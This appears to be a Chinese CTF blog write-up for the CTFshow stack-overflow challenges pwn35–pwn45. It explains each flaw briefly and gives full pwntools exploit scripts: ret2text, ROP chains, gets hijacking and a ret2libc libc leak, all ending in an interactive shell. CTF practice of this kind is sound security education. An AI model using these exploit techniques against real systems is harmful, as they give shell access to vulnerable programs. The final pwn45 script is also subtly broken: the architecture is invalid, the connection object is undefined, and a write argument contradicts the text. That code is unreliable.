CTFshow 栈溢出

pwn35

strcpy函数没有长度限制,可以产生栈溢出

cyclic足够长度数据直接打

pwn36

gets函数无长度限制,可以栈溢出

这边需要让get_flag函数执行

image-20240120165855101

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level='debug',arch='i386',os='linux')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28105)
get_flag_addr=0x8048586
offset=0x28+0x4
payload=offset*b'a'+p32(get_flag_addr)

io.sendline(payload)

io.interactive()

pwn37

与上题相似

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level='debug',arch='i386',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28274)
backdoor=elf.sym['backdoor']
offset=0x12+0x4
payload=offset*b'a'+p32(backdoor)

io.sendline(payload)
io.recv()
io.interactive()

pwn38

image-20240121152420772

0xA+0x8,64位平衡堆栈

1
ROPgadget --binary pwn --only "ret"

image-20240121160335278

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28278)
backdoor=elf.sym['backdoor']
offset=0xA+0x8
ret=0x400287
payload=offset*b'a'+p64(ret)+p64(backdoor)

io.sendline(payload)
io.recv()
io.interactive()

pwn39

image-20240121160434623

存在后门函数,但是/bin/sh没在system

image-20240121162736783

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#payload=[填充]+[system@plt]+[4bytes填充]+[参数]
from pwn import *
context(log_level='debug',arch='i386',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28274)
system=elf.sym['system']
offset=0x12+0x4
binsh=0x8048750
payload=offset*b'a'+p32(system)+p32(0)+p32(binsh)

io.sendline(payload)
io.recv()
io.interactive()

pwn40

64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。

64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

image-20240121164107195

1
ROPgadget --binary pwn --only 'pop|ret' | grep rdi

image-20240121163526448

1
ROPgadget --binary pwn --only 'ret'

image-20240121163615281

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt]
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28207)
system=elf.sym['system']

offset=0xA+0x8
binsh=0x400808
rdi_addr=0x00000000004007e3
ret_addr=0x00000000004004fe
payload=offset*b'a'+p64(rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system)

io.sendline(payload)
io.recv()
io.interactive()

pwn41

没有/bin/sh,用sh代替

  1. system(“/bin/sh”) :

    在Linux和类Unix系统中,/bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system(“/bin/sh”) 会启动指定的shell程序,并在新的子进程中执行。

    这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件。

  2. system(“sh”) :

    使用 system(“sh”) 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行。 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败。

总结来说, system("/bin/sh")是直接指定了系统默认的shell程序路径来执行命令,而system("sh")则依赖系统的环境变量$PATH 来查找sh可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level='debug',arch='i386',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28187)
system=elf.sym['system']
offset=0x12+0x4
sh_addr=0x80487ba
payload=offset*b'a'+p32(system)+p32(0)+p32(sh_addr)

io.sendline(payload)
io.recv()
io.interactive()

pwn42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('pwn')

#io=process('./pwn')
io=remote("pwn.challenge.ctf.show",28248)
system=elf.sym['system']

offset=0xA+0x8
binsh=0x400872
rdi_addr=0x0000000000400843
ret_addr=0x000000000040053e
payload=offset*b'a'+p64(rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system)

io.sendline(payload)
io.recv()
io.interactive()

pwn43

/bin/sh,考虑劫持gets函数然后人为写入

image-20240121183608682

直接查看可写的段

image-20240121183808441

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',arch='i386',os='linux')

io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc

gets_plt=elf.plt[b"gets"]
sys_addr=elf.plt[b"system"]

bss_addr=0x804b800

payload=cyclic(0x6c+4)+p32(gets_plt)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr)
io.sendline(payload)
io.sendline(b"sh;")
io.interactive()

栈溢出后劫持gets函数,调用system函数,第一个bss_addr作为gets的参数传入写入栈上,第二个bss_addr作为system的参数传入

pwn44

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io=process("./pwn")
elf=ELF("./pwn")

gets_plt=elf.plt[b"gets"]
sys=elf.plt[b"system"]
pop_rdi=0x00000000004007f3
buf=0x603000-20
ret=0x00000000004004fe
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(buf)+p64(ret)+p64(gets_plt)+p64(pop_rdi)+p64(buf)+p64(ret)+p64(sys)

io.sendline(payload)
io.sendline(b"sh;")
io.recv()
io.interactive()

1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中
2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中
3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中
4.调用 system 函数,以 buf2 的地址作为参数

pwn45

system/bin/sh,存在write函数和puts函数,可以作为泄露libc的泄露函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='x8',os='linux')
#p = remote("pwn.challenge.ctf.show", "28221")
elf = ELF("./pwn")
offset = 0x6B + 0x4
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
print(hex(write_addr))

#write_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)